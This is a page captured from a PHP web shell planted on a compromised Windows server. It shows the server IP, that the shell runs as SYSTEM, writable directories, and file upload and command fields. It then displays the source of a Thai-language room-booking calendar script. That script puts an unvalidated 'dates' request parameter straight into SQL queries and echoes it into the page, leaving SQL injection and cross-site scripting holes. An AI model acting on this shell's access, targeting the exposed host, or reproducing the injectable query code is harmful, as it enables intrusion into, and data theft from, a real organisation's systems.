403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myoffice/2563/modules_241262/calendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myoffice/2563/modules_241262/calendar/view.php
<TABLE width="100%" align=center cellSpacing=1 cellPadding=1 border=0>
<?
$_GET['id'] = intval($_GET['id']);
//$_GET['dates'] = intval($_GET['dates']);
$datess=$_GET['dates'];
//แสดงปฏิทิน
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[event] = $db->select_query("SELECT id, date_event, timeout , subject, detail ,post_date, pageview , UNIX_TIMESTAMP(date_event) AS date_event2  FROM ".TB_CALENDAR." WHERE date_event='".$_GET[dates]."' ");
$arr[event] = $db->fetch($res[event]);

$db->closedb ();
if(!$arr[event][date_event]){
	echo "<BR><BR><BR><BR><CENTER><IMG SRC=\"images/icon/notview.gif\" BORDER=\"0\" ><BR><BR><B>ไม่มีรายการปฏิทินกิจกรรมในวัน $datess </B></CENTER><BR><BR><BR><BR>";
}else{
//	$FileEventTopic = "calendardata/".$arr[event][date_event].".txt";
//	$file_open = @fopen($FileEventTopic, "r");
//	$content = @fread ($file_open, @filesize($FileEventTopic));
//	$Detail = stripslashes(FixQuotes($content));
	$Detail = $arr[event][detail];
	$ID=$arr[event][id];
	//ทำการเพิ่มจำนวนคนเข้าชม
	?>
	<TR>
	<TD colspan=5>
<B><IMG SRC="images/icon/calendar.gif" WIDTH="16" HEIGHT="15" BORDER="0" ALIGN="absmiddle"> <FONT COLOR="#990000"><?= ThaiTimeConvert($arr[event][date_event2],"1","");?></FONT><BR>
</TD>
</TR>
<tr bgcolor="#0099CC">
<td width="100" align="center"><h5><font color="#FFFFFF">ห้อง</td>
<td width="100" align="center"><h5><font color="#FFFFFF">เวลา</td>
<td  width="300" align="center"><h5><font color="#FFFFFF">รายการประชุม</td>
<td  width="60" align="center"><h5><font color="#FFFFFF">จำนวน</td>
<td  width="150" align="center"><h5><font color="#FFFFFF">ผู้ขอห้อง</td>
</tr>
				<?

$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[events] = $db->select_query("SELECT id, room , date_event, timein , timeout , subject, detail , person ,post_date, pageview , UNIX_TIMESTAMP(date_event) AS date_event2  FROM ".TB_CALENDAR." WHERE date_event ='".$_GET[dates]."' ");
//$arr[event] = $db->fetch($res[event]);
while($arr[events] = $db->fetch($res[events])){
$Detail = $arr[events][detail];
$id=$arr[events][id];
	$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE id='".$arr[events][person]."'  ");
	$arr[user] = $db->fetch($res[user]);
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$q[Pageview] = "UPDATE ".TB_CALENDAR." SET pageview = pageview+1 WHERE id = '$id' ";
	$sql[Pageview] = mysql_query ( $q[Pageview] ) or sql_error ( "db-query",mysql_error() );
?>
		<tr bgcolor="#FFFFDD" >
		<td width="100" align="center"valign="top"><?=$arr[events][room];?></td>
		<td width="100" align="center"valign="top"><?=$arr[events][timein];?>-<? if ($arr[events][timeout]<>'') { echo "<font color=\"\">".$arr[events][timeout]." </font>";}?></td>
		<td  width="300" valign="top">&nbsp;&nbsp;-&nbsp;<?=$arr[events][subject];?></td>
		<td  width="60" align="center"valign="top">&nbsp;<?=$arr[events][detail];?></td>
		<td width="140" valign="top">&nbsp;<?=$arr[user][category_name];?></td>
		</tr>
				
<?
}
?>
<?
}
?>

			</TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit